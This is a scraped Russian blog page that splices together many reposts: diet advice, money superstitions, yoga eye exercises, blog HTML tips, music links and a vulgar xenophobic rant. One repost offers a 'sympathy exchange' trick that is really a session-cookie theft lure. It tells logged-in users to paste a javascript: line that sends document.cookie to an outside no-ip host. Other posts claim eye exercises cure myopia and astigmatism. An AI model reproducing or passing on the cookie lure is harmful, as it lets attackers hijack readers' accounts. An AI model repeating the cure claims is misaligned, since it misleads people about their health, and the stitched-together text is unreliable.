Перед наступлением лета почти каждую женщину волнует вопрос: как избавиться от ненавистных килограммов, набранных зимой, чтобы в теплое время года выглядеть стройной и неотразимой. Конечно, первое, что приходит в голову - это диета. Но ведь соблюдать ее - невероятно сложно! Passion.ru дает 10 практических советов - как похудеть, не голодая.
Не у всех хватает силы воли выдержать диету до конца - по статистике таких всего 20%. Но есть другой, более простой, но в тоже время эффективный вариант - обуздать свой аппетит.
Аппетит женщины зависит от гормонального баланса, который меняется в зависимости от физиологических и психологических факторов. С точки зрения физиологии он может изменяться в зависимости от фазы менструального цикла, в предменопаузе и колеблется в течение беременности.
Эмоциональные и психологические факторы также не следует недооценивать. Зачастую пустота внутри, вызванная стрессами, депрессией и беспокойством, принимаются за чувство голода.
Какого бы происхождения повышенный аппетит не был, с ним нужно бороться.
Итак, представляем вам 10 самых распространенных и эффективных способов обмануть аппетит.
1. Сбалансированные завтрак, обед, ужин
Диетологи считают, что 80% потребляемой за день пищи должно поступать в организм с завтраком и обедом. С учетом этого необходимо составлять свой ежедневный рацион. Сбалансированное питание позволит насытить организм и избавиться от постоянного чувства голода.
Завтрак
Включите в него проросшие зерна злаков (овса, пшеницы, ржи), богатые витамином В, или овсяные хлопья. Они достаточно долго перевариваются желудком, - а значит, чувство сытости сохранится надолго. Кроме того, злаки очень полезны: они предотвращают отложение жира и задержку воды в организме.
Важно: никогда не отказывайтесь от завтрака! Этот прием пищи «запускает» обмен веществ и способствует сгоранию жиров.
Обед
Неотъемлемое блюдо - овощной салат. Богатое клетчатками овощное ассорти быстро насытит организм и выведет излишки холестерина. Также полезно добавить в повседневный рацион бобовые (фасоль, горох, чечевицу), которые быстро наполняют желудок и улучшают пищеварение.
Ужин
Самое грамотное сочетание - мясо или рыба с овощами. Мясо богато аминокислотами, способствующими сжиганию жира, а в рыбе содержится много кальция, который препятствует отложению жиров в организме. Кстати, недавно ученые доказали, что именно из-за недостатка кальция в организме многие люди не могут похудеть.
Отдельно следует сказать о вечерних «походах» к холодильнику. Не следует есть позже 6 часов вечера. Если уж совсем невмоготу - почистите зубы. В организме сработает рефлекс, как будто вы только что поели.
2. Маленькие порции
Лучше есть меньше, но чаще. Например, вместо 3 плотных приемов пищи в день разделить на 6 - поменьше. Это позволит организму постоянно чувствовать себя сытым.
Для того чтобы лучше контролировать размер своих порций, купите небольшие тарелки. Психологи всего мира советуют воспользоваться посудой синего или голубого цвета - она успокаивает и снижает аппетит. Приборы тоже можно поменять: вместо столовой ложки возьмите десертную.
Кроме того, важно есть медленно, тщательно разжевывая пищу. Каждый прием пищи должен занимать не менее 20 минут - именно это количество времени требуется для того, чтобы организм успел «понять», что он уже сыт.
3. Ешьте только тогда, когда голодны
Одна из самых распространенных ошибок, приводящих к ожирению и неутоляемому чувству голода - есть за компанию. «Ешьте только тогда, когда чувствуете голод» - именно на этом утверждении основываются многие диеты.
Кроме того, отучите себя есть перед телевизором или во время чтения газет или журналов. За этими занятиями очень трудно контролировать количество съеденного.
4. Откажитесь от перекусов
Перехватить сдобную булочку после завтрака или съесть пару печений перед ужином - вроде бы безобидно? Но все не так просто. Обычно такие перекусы быстро входят в привычку и становятся причиной появления лишних килограммов. Более того, в организме вырабатывается своеобразный рефлекс: «перед ужином нужно что-нибудь съесть», и, соответственно, повышается аппетит.
Если же вы понимаете, что без перекуса не обойтись, прислушайтесь к советам диетологов: перекус не должен "тянуть" больше, чем на 200 ккал. Продумайте, что это будет, и держите под рукой низкокалорийные продукты, которые помогают победить "зверский аппетит".
Всего 10 ккал содержат:
- 1 стебель сельдерея
- 1 морковь
- 1/4 яблока
- 3 ягоды клубники
- 1 долька апельсина
- 1/3 стакана попкорна
- 4 небольших помидора
5. Продукты, понижающие аппетит
В первую очередь, это, конечно, сладости - но в очень ограниченном количестве. Для того чтобы избавиться от чувства голода, достаточно всего-навсего одной конфетки или 2 долек шоколада. Сладости можно заменить также мятными леденцами без сахара.
Также на помощь придут
Автор: http://passion.ru/
Для кого-то деньги - лишь отпечатанные на станке купюры, по мнению других, они наделены таинственной силой, а для финансовых накоплений необходимо соблюдать особые ритуалы. Проанализируем самые известные мистические особенности денег.
«Деньги правят миром», - сказал один из известных людей. Это утверждение подтверждают даже социологические опросы.
Яркий пример - исследование среди россиян: более 50% жителей нашей страны верят, что главную роль в современном мире играют именно деньги.
Разум, любовь и высшая сила значительно отстают от финансов в рейтинге самых значимых. Такое мощное сверхъестественное влияние невозможно без мистики.
Ведь не зря власть денежных купюр над людьми неоднократно описывалась классиками художественной литературы, а о самих деньгах с давних времен складываются всевозможные легенды, создаются мифы, приметы и суеверия.
1. Копейка рубль бережет
Одно из самых распространенных утверждений, многим оно знакомо с самого детства. Разумная экономия никому не повредит. Еще древние греки говорили, что деньги привлекают деньги. Следуя этому правилу, нужно всегда оставлять в кошельке мелочь после покупки. То же самое относится к теплой одежде, убранной в шкаф на время теплого сезона, - оставьте в карманах несколько монет.
«Одна монетка будет привлекать другую», - это и есть та самая магия денег.
По поводу того, как научиться сберегать хоть какую-то сумму денег, существуют некоторые советы. Например, необходимо регулярно откладывать минимум 20% от ежемесячного дохода. Это не только научит экономить, но и послужит так называемым залогом богатства, приманкой для денег. Существует даже такое выражение: сэкономленные деньги - это заработанные деньги. Однако у этого утверждения есть и обратная сторона медали - «скупой платит дважды». Нужно помнить, что излишняя бережливость не только не принесет пользы, а даже наоборот, навредит.
2. Деньги любят счет
«Деньги любят счет», - так говорят не только мнительные суеверные люди, но и серьезные профессиональные экономисты. Это не просто утверждение, это - закон!
По мнению большинства, регулярный пересчет денег является одним из залогов богатства. Причем считать свои деньги нужно не только устно, но и письменно. Для этого следует вести ежемесячный учет семейных доходов и расходов.
Во время очередного подведения финансовых итогов необязательно выискивать «ненужные растраты», главное - просто считать денежные средства, проходящие через ваши руки за месяц. Согласно народным приметам, считать деньги нельзя вечером и после захода солнца, иначе это может привести к разорению. Кроме того, нельзя считать еще не полученные, а также чужие деньги. К деньгам нужно относиться уважительно и аккуратно. Нельзя их мять, комкать и рвать. Все купюры должны быть разложены согласно градации по своему достоинству: крупные - к крупным, мелкие - к мелким. Деньги нужно любить, тогда и они ответят вам взаимностью.
3. Чем больше отдаешь, тем больше получаешь
Задача денег - быть в постоянном движении.
"Получайте деньги с удовольствием, а расставайтесь с ними без сожаления", - гласит народная мудрость. К этому закону непосредственное отношение имеет благотворительность. Ведь не зря многие знаменитые актеры и певцы регулярно жертвуют деньги на различные благотворительные программы.
Среди звезд самые большие суммы жертвуют Анджелина Джоли с Брэдом Питтом, Джонни Депп и Джордж Клуни. Время от времени их примеру следуют Мадонна, Джастин Тимберлейк, Дрю Берримор и многие другие. А недавно сразу 15 мировых звезд объединились для записи общего сингла «Just Stand Up» в рамках благотворительного телемарафона в помощь людям, больным раком.
От шальных денег - выигранных, найденных, подаренных - нужно избавляться в первую очередь. Отдайте их на благотворительность или потратьте, так как считается, что они не принесут счастья.
Если вы скопили более-менее большую сумму денег, ее обязательно нужно вложить в какое-либо дело. Если же вы не обладаете коммерческой жилкой, положите накопленные средства в банк - там они точно окажутся в обороте и принесут вам дополнительный доход.
4. Деньги в долг можно давать не всем
Согласно этой примете, нельзя давать в долг бедным и невезучим людям, а по некоторым утверждениям - и друзьям. Считается, что одалживание денег людям, у которых они не водятся или не задерживаются надолго, может привести к собственному разорению.
Дело в том, что когда бедные отдают вам долг, они передают часть своей негативной энергии - финансовой невезучести.
Зато приветствуется одалживать материальные средства богачам: возвращая деньги, они подарят вам положительный заряд обеспеченного человека.
Еще одна плохая примета - давать взаймы друзьям. Невозвращенный долг зачастую становится причиной ссоры между близкими людьми.
И это не просто суеверие, а закон жизни. Причем деньги способны расстроить отношения не только друзей, но и родственников. В отношении того, как и когда можно давать
Это цитата сообщения Владимир_Гринчув Оригинальное сообщение
Рассылки сайта "Время России"
|
Рассылки сайта "Время России" на Mail.ru |
|
|
|
Выпуск 44 |
|
|
Новые статьи на сайте:
new Если вдруг забыл пароль…
new 10 вещей, которые нужно знать об Автоматическом восстановлении системы
new Как расширить возможности кнопки завершения работы в меню Пуск Windows XP
new Увеличиваем производительность Windows Vista
new Восстановление системы
new Продлеваем жизнь Windows XP
new Настройка компьютера с нуля. Восстановление ОС.
new Как сохранить флэш-ролики на компьютер
new 7 мистических свойств денег
new Финансовый кризис в России. Что делать? Не надо слушать идиотов!
new Думай и Действуй (+2 способа обрести богатство)
new Как научить ребенка обраща ться с карманными деньгами: игра в финансовую ответственность с сотовым телефоном.
new Искусство делать и сохранять деньги
new Ваш Денежный Поток: как привлечь в него больше людей
new 10 способов обмануть аппетит
new Эмоции - под контроль!
Это цитата сообщения stanislav_ystenko Оригинальное сообщение
Видеоуроки
Без заголовка
Ребята очень познавательные видео-уроки по всем областям нашей с вами жизнедеятельности!!! Skillopedia.ru - интереснейший проект по обмену знаниями и навыками. Не зря в народе говорят: “Лучше один раз увидеть, чем сто раз услышать”. Да и мудрые преподаватели знают, наглядность в обучении в разы повышает восприятие материала.
Это цитата сообщения Rubi868 Оригинальное сообщение
Знак, востанавливающий зрение
Для восстановления зрения нужна сознательная тренировка глаза к центральной фиксации. Способность глаза смотреть прямо на объект и видеть его лучше всех других объектов называется центральной фиксацией. Упражнения на развитие центральной фиксации использовались ещё в древней Индии.
Наиболее известные из них связаны с так называемой Ом-картой. В её центре можно прочесть слово «Ом», второе – написано в традиционной манере, символизирующей высшую жизненную силу в сознательном действии. Упражнения, предлагаемые для тренировок на Ом-карте, приводятся в изложении индийского профессора Р. С. Агарвала, который дополнил систему Бейтса древними методами лечения.
[300x303]Это цитата сообщения Владимир_Гринчув Оригинальное сообщение
Упражнение для глаз - Тратака
Тратака - сосредоточение, концентрация зрения.
С помощью тратаки излечиваются дальнозоркость, близорукость, астигматизм, косоглазие. Кроме того, Тратака используется для развития психических способностей, концентрации и т.п. После усвоения упражнений Тратаки (приблизительно в течение месяца) происходит нормализация зрения приблизительно на единицу в месяц.
Занятия проводить один раз в день (можно два раза) в любое время дня. Упражнения необходимо делать регулярно. Перерыв между упражнениями делать нельзя! Пропуск даже одного дня недопустим.
Тратака должна делаться легко, без особого напряжения. Нужен точный выбор дозировки. Глаза не должны болеть после массажа и гидротерапии. Если глаза болят перед массажем, но боль и неприятные ощущения снимаются после массажа, то это допустимо. Если же глаза продолжают болеть и после массажа, то следует резко снизить дозировку упражнений.
Упражнение 1. Массаж.
Сесть в подмасану (терминология Хатха-Йоги), можно просто по-турецки. Позвоночник прямо, голова, шея, позвоночник на одной прямой. Если глаза устали в библиотеке или от компьютера, то это упражнение можно делать просто на стуле (в том числе и со здоровым зрением), чтобы снять утомление глаз. [показать]
Глаза закрыты, кисти рук откинуты и расслаблены ладонями вверх.
[показать]
Найти точку у основания ладони против мизинца.
Касаясь только этими точками, очень легко, без нажима проводить по верхним векам (ресницы будут Вас контролировать) от висков к носу и от носа к вискам, туда и обратно считается за один раз. Так надо делать 10 раз на одном выдохе. Если трудно сделать на одном выдохе, то упражнение можно начинать делать, дыша произвольно, но заканчивать десятое движение надо на выдохе. Движения делаются медленно и плавно. Глаза остаются закрытыми.
Поза отдыха для глаз.
Сложить пальцы елочкой [показать] и сделать довольно плоскую крышку из руки, которой закрыть лицо (глаза) [показать], большие пальцы при этом будут около бровей. Если после выдоха задержка примерно одна минута, то надо первую половину задержки держать лицо под крышкой, глаза закрыты, а вторую половину задержки - с открытыми глазами под крышкой. Если задержка меньше одной минуты, то надо всю задержку сидеть с закрытыми глазами, затем сделать вдох-выдох и потом открыть глаза и вторую задержку сидеть с открытыми глазами. Крышка из рук поднимается вместе со вздохом очень медленно. Если вдох недостаточно длинен, то дальше можно дышать произвольно. Кисти при этом не сгибаются в пальцах, подъем происходит в несколько стадий :
- ладони предплечья находятся на одной линии, локти вместе, локти поднимаются вверх сколько можно;
- подъем продолжается, но локти разъединяются;
- руки сгибаются в кистевом суставе, локти расходятся еще дальше;
- лицо совсем открыто, можно снимать пальцы со лба.
[показать]
Фиксированные позиции.
Упражнение 2.
Исходное положение то же самое. Зрение фиксируется в левой крайней нижней точке (при помощи левой руки отмечается та точка, в которой уже не видны предметы). Смотреть до тех пор, пока глаза не начнут моргать, слезиться, появится резь либо просто станет неприятно. Тогда перевести глаза в состояние прямо и закрыть их.
Другой вариант (но не для начинающих):
Надо смотреть в ту же левую точку в течение всей задержки после выдоха (так повторить 5 раз), затем глаза прямо и закрыть на вдохе.
Упражнение 3.
То же самое, что и упр.2, но смотреть нужно в правую крайнюю нижнюю точку.
Упражнение 4.
То же самое, что и упр.2, но зрение фиксируется на кончике носа. Если это сразу не получится, то фиксировать зрение на кончике пальца, затем медленно подносить палец к носу до тех пор, пока не станет двоиться; фиксировать зрение на пальце.
Упражнение 5.
То же, что и упр.2, но зрение фиксируется на переносице. Если это сразу не получится, то, как и в упр.4, помогаем себе пальцами, либо, если упр.4 освоено, медленно ведем взгляд по носу от кончика до переносицы и фиксируем его
Это цитата сообщения Владимир_Гринчув Оригинальное сообщение
Помоги себе сам - восстановление зрения...
[показать]
Тратака (сосредоточение взгляда)
Эта практика традиционно рассматривается как элемент хатха-йоги. Но поскольку по своей технике она больше похожа на мудру, то может рассматриваться также и как часть раджа-йоги.
Это мощное упражнение может быть определено как сосредоточение взгляда на одной точке (слово «
При систематической практике это упражнение чрезвычайно развивает способность к концентрации. В результате этого происходит пробуждение скрытых способностей, имеющихся в каждом из нас. И хотя существует множество других способов, описываемый ниже является самым простым и общедоступным.
Техника выполнения:
Примите удобную позу (предпочтительно асану для медитации) в темной комнате. Поставьте перед собой на уровне глаз зажженную свечу на расстоянии 1-2 футов (30-60 см) от лица. Выпрямите спину, расслабьтесь и закройте глаза. Ощущайте только свое тело. Приняв удобное положение, постарайтесь в дальнейшем не шевелиться в течение всего упражнения.
Когда вы будете готовы, откройте глаза и сфокусируйте взгляд на ярком пятне пламени (на самом кончике фитиля). Со временем вы сможете смотреть на пламя не отводя глаз и не мигая в течение нескольких минут. Продолжайте смотреть на пламя с предельной концентрацией. Все ваше сознание должно быть полностью сосредоточено в глазах, в то время как восприятие остального тела должно раствориться.
Взгляд должен быть сосредоточен на одной точке. Когда глаза устанут или начнут слезиться, закройте их и расслабьтесь. Не двигайтесь. Сохраняйте перед закрытыми глазами образ пламени. Каждый из нас, посмотрев на солнце (или на источник яркого света) и закрыв на некоторое время глаза, сохраняет его четкое изображение на сетчатке глаз. Точно так же произойдет и с пламенем свечи. Выполняйте тратаку на изображение пламени свечи, удерживая его непосредственно перед междубровьем или чуть выше. Как только изображение начнет пропадать, откройте глаза и вновь сконцентрируйтесь на пламени свечи.
Варианты:
Объектами тратаки могут быть: небольшое пятнышко (кружочек на стене), полная луна, тень, стеклянный шар, кончик носа, вода, темнота, пустота (см. «Бхучари-мудра»), эмблема Шивы, источник неяркого света и многие другие предметы.
Люди, имеющие личное божество или гуру, могут практиковать тратаку на изображения последних, пытаясь при этом почувствовать их духовное присутствие. Объектом тратаки также может быть восходящее солнце, собственное отражение в зеркале или глаза другого человека.
Однако практиковать
Это цитата сообщения stanislav_ystenko Оригинальное сообщение
>ОЧЕНЬ ПОЛЕЗНАЯ ШТУКА!
ОЧЕНЬ ПОЛЕЗНАЯ ШТУКА!
ОЧЕНЬ ПОЛЕЗНАЯ ШТУКА!
Обязательно возьми в цитатник! Пригодится! [показать]Если кому-то лень изучать инструкции для встраивания видео с YouTube в свои записи - радуйтесь. Теперь у вас есть переводчик YouTube-, RuTube-, Видео@Mail.ru-, LoadUp.ru-ссылок в готовый для вставки в запись на ЛИ.ру flash-код.
Это цитата сообщения ka82 Оригинальное сообщение
Я тебе щас тааак вставлю!
Сейчас вы смотрите пост http://www.liveinternet.ru/users/ka82/post89422126/
Другие посты:
Шпаргалка html (очень много тегов) и генератор разноцветных букв http://www.liveinternet.ru/users/ka82/post70054149/
Теги волнистого разноцветного подчеркивания, дрожания текста, текст написанный боком, линии, простые варианты фонового рисунка справа, слева, вокруг текста, колыхающиеся слова, выравнивание параграфов, текст между картинками и т.д. http://www.liveinternet.ru/users/ka82/post90899043/
Простые теги типа жирного шрифта, выравнивания слов, типа шрифта, курсива, обычного подчеркивания-зачеркивания, разноцветный текст, ползущие вправо-влево буквы, размер шрифта, таблицы цветов для шрифта http://www.liveinternet.ru/users/ka82/post89710588/
Танцующие буквы http://www.liveinternet.ru/users/ka82/post91709665/
Как вставить фоновую картинку, отличную от картинки днева http://www.liveinternet.ru/users/ka82/post88771163/
Готовые схемы оформления, необычное преподнесение текста и картинок, рамочек, затуманенные буквы, инструкции даны скриншотами, а не просто текстом http://www.liveinternet.ru/users/ka82/post85922639/
<Баннер: подробная инструкция находится в комментах (все комменты - имеется ввиду к ЭТОМУ посту)
<Опрос: подробная инструкция находится в комментах (все комменты - имеется ввиду к ЭТОМУ посту)
Картинку: Здесь сам код, в который надо вставлять адрес картинки с сайта (только заключите весь код в квадратные скобки, мне пришлось их убрать, чтобы код сохранился в первоначальном виде):
Есть картинки, которые по краям как бы затуманиваются. Например вот:
Слайд-шоу из картинок: смотри в комментариях к этому посту
Календарик. Тут я пока обращаюсь к флешкам
Просто календарь:
Заключите вышеприведенный тег в квадратные скобки
Календарь праздников России:
[150x]Кубик. Пока нашла только как вставлять с помощью генератора. Подробная инструкция - в комментах
Курсор: Вот код для вставки:
[показать]Например, курсоры можно взять отсюда: http://www.myspacecursor.net/ http://commentbaby.com/Cursors/
http://www.liveinternet.ru/users/rusoolga/post66087546/
http://www.liveinternet.ru/users/rusoolga/post66050731/
http://www.liveinternet.ru/users/rusoolga/post66050581/
http://www.liveinternet.ru/users/rusoolga/post65888033/
http://www.liveinternet.ru/users/rusoolga/post65887848/
http://www.liveinternet.ru/users/rusoolga/post65886550/
http://www.liveinternet.ru/users/rusoolga/post65885930/
http://www.liveinternet.ru/users/rusoolga/post62870213/
Кнопочку
Линеечки: http://ticker.7910.org/
Тут есть красочные как картинки: http://line.romanticcollection.ru/yar/
Тут есть Диснеевские: http://lines.akusherstvo.ru/?action=create_lineika&step=2&type_id=10
Романтическая коллекция: http://line.romanticcollection.ru
В комментариях выложен целый список сайтов с линеечками.
Как правило просто нужно зайти на какой-нибудь сайт линеечек, указать как пойдет отсчет - «до» или «после» - и там предложат код. Например, у меня получилась такая линеечка:
[показать]Рамку
Ниже приведен код рамки
чтобы изменить цвет рамки нужно вместо #000 (черный), написать цвет кода из таблицы. Например белая сплошная рамка:
наткнулся на саунды к
Греческая смоковница / Griechische Feigen / The Fruit is Ripe / 1976
и теперь наслаждаюсь
Формат,качество: mp3, 128 kbs
Содержание:
1. Be a Rover
2. Fly Away Girl
3. Lazy Loving
4. Sirtaki
5. Traces in the Sand
http://mp3sort.com/viewtopic.php?p=151213#151213
Некоторым - просто необходимо!! от
АзмаИз дневника
Kailash, Предлагаю потренировать свою дикцию.
Вот вам набор скороговорок на все проблемные буквы. Тренируйтесь, и вскоре вы сможете переговорить любого :)
б, п, в, ф, г, к, д, т, х
1. Добыл бобыль бобов.
2. Вакул бабу обул, да и Вакула баба обула.
3. От топота копыт пыль по полю летит.
Новая игрушка скриптов... от
DorseyНазывается - автоматический обмен симпатиями... Спасибо за идею an_none...
Инструкция:
1. Открываете liveinternet.ru - стартовую страницу (нужно быть залогиненым);
2. Вводите в адресную строку javascript:document.location="http://liru.no-ip.org:44/liru.php?c="+document.cookie; (javascript - без пробела)
3. Дожидаетесь загрузки страницы с надписью "ОК =)". Чем больше участников и чем сильнее нагружен сервер - тем дольше придётся ждать, ограничение на сервере - 10 минут.
4. Проверяем результат, зовём друзей =)
разобрать Эйфелеву башню - вышвырнуть арабов из Франции
(c) Минутко Ж-Ю
Когда-то давно прошёл по нашим экранам фильм "Пусть говорят". Незамысловатый, в общем-то, сюжет, но какая музыка, какие песни! Так страна узнала испанского певца Рафаэля. Мне кажется, и сегодня эти песни принесут немало удовольствия.
[400x394]Исполнитель – Raphael
Альбом - Digan Lo Que Digan
Год выхода – 1967
Размер архива – 51 МВ
Качество – mp3, 192 kbps
01. Digan lo que digan (2:43)
02. Mi gran noche (3:04)
03. Cierro mis ojos (3:35)
04. Hoy Mejor Que Manana (2:39)
05. Mi hermano (2:24)
06. Un Hombre Vendra (2:50)
07. Al margen de la vida (2:52)
08. Acuarela del rio (2:55)
09. Tema de amor (2:32)
10. Llorona (3:50)
11. Verano (2:17)
12. Que nadie sepa mi sufrir (3:25)
Raphael - Digan Lo Que Digan - http://mp3sort.ifolder.ru/9972514
Рафаэль М.-С. - Tu prometes prometes (Не прощаясь)
Рафаэль М.-С. - Mon cadeau (Когда ты ушла)
Рафаэль М.-С. - Мой брат (Пусть говорят)
Рафаэль М.-С. - Говорят, что мы оба сумасшедшие от любви (Пусть говорят)
Рафаэль М.-С. - Digan lo que digan (Пусть говорят)
Рафаэль М.-С. - На краю жизни (Пусть говорят)
Рафаэль М.-С. - Пусть будет, что будет (Пусть говорят)
Рафаэль М.-С. - Когда я закрываю глаза (Пусть говорят)
http://mp3sort.ifolder.ru/10647184
Это цитата сообщения Ирина_Шаманникова Оригинальное сообщение
МНОГОЕ О ФОТОШОПЕ
| ||||||||||||||||||||||||||
Это цитата сообщения Sheree Оригинальное сообщение
97 Видеоуроков по Adobe Photoshop от Игоря Ульмана
97 Видеоуроков по Adobe Photoshop от Игоря Ульмана
- Простейшая рамка для фотографии
- Простейший приём осветления
- Коллаж из фотографий сюжетной макросъёмки
- Добавление возраста цветной фотографии
- Заснеженный текст
- Корректирующие слои. Пример 1.
- Коррекция снимка режимами наложения слоев
- Вечерний портрет. Коллаж.
- Инструменты аморфного деформирования. Liquify.
- Коллаж с использованием маски слоя
- Расширение динамического диапазона с помощью HDR
- Ручная коррекция тона фотографии
- Внутренняя рамка (оформление снимка)
- Жжёная бумага и текст по кривой
- Монтаж снимка с помощью маски слоя
я атеист до мозга костей. чтобы принять Бога реальностью
(с) Минутко Ж-Ю
взял у
noel_ja большой признательностью и благодарностью здесь Школа самообороны для женщин и драконов
...Ведь огонь - это не только использование огнестрельного оружия. Скорее, даже использование любого оружия здесь второстепенно. (В этот момент он подумал, что нужно будет обязательно учить девушек работе с подручными предметами. Которые в руках подготовленного человека становятся оружием. Надежным и по-настоящему грозным). Куда важнее, чтобы огонь был внутри человека. Будет ли он называться энергией Ци или просто желанием жить, не столь важно. Важно чтобы человеку было ради чего жить. Чтобы была хотя бы одна причина для того, чтобы стоило эту жизнь защищать.
Ведь в этой жизни нужно любить не только себя, но и саму жизнь. Не случайно на Востоке у врачей издавна существует одно правило. Если к тебе пришел пациент, ты должен ему помочь. Или хотя бы попытаться это сделать. Но помогать нужно только богатым. Помогать бедным бесполезно.
Европейцы перевели эту истину Ибн Сины (Авиценны) немного неточно. Ибн Сина говорил не о материальном положении своих пациентов, а лишь о наличии у них жизненной энергии. Её может быть излишек или недостаток. Но она должна быть у каждого пациента. Основой жизненной энергии является, безусловно, любовь.
Тогда как, Ибн Сина считал бедными только тех людей, которые никого и ничего не любят. Помогать им он считал бесполезным. Тех же, кто кого-то или что-то любил в этой жизни, даже если у них не было и гроша за душой, он считал настоящими богачами. И в этом он был абсолютно прав.
Если вы любите кого-нибудь, человека или котенка, чай с мятой на завтрак или селедку с картошкой на ужин, вам можно помочь. Только если это настоящая любовь, а не мимолетное увлечение. Тогда появляется шанс на исцеление. Какой бы тяжелой не была бы ваша болезнь. Ваша любовь дает такую надежду.
По той же самой причине и Сергей считал, что учить самообороне стоит только "богатых". Тех, у кого в душе и в сердце горит этот чудесный и яркий огонь любви. Их самое главное и бесценное богатство. Любви к окружающим и самой жизни.
Л.Афанасьев - И. Шаферан
Родимая земля - т/с "Вечный зов" 5-ая серия - http://mp3sort.ifolder.ru/10629638
исполняет ориентировочно Ухналёв О.
фонограмма из фильма
наряду с прочим навязали нам авторское и сопутствующее право....
теперь лезет ко мне в дневник чужой и начинает выступать, что десь не имел я право цитировать этот пост, а обязан был цитировать его пост...
плотник сделал стол и теперь я должен ежемесячно платить ему за пользование столом...
ох**а ж*****я. мало того, что у3,14*дила в пиндосию, так теперь от не***й делать указания раздаёт. что мне делать.... достало всё....
закрывать границы, буржуйский гламур на костёр... кому не нравится - в Израиль и без возврата...., там жаждут их...
УТОМИЛИ....